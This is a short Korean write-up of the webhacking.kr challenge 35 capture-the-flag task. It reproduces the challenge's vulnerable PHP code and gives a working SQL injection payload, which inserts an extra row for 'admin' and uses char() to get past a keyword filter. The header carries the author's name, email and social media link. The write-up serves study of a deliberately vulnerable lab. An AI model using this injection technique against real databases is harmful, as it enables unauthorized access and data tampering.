webhacking.kr 35번문제

Xero
박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)
2016-04-03
Email : wnsgurzxc@naver.com
Facebook : https://www.facebook.com/wnsgurzxc

phone번호를 입력받는다.

phps페이지를 들어가보면 다음과 같다.

```
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");
@mysql_query("insert into challenge35_list(id,ip,phone)
values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}
$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin'
and ip='$_SERVER[REMOTE_ADDR]'"));
if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where
ip='$_SERVER[REMOTE_ADDR]'");
echo("<!--");
while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}
echo("-->");
?>
```

phone값을 insert시키는곳에 인젝션을 하면 될 것이다.

다음과 같이 admin, 내 ip를 char함수를 이용해서 넣었다.

0), (char(97,100,109,105,110), char(49,50,50,46,51,54,46,53,57,46,49,48),0

다음과 같이 클리어되었다.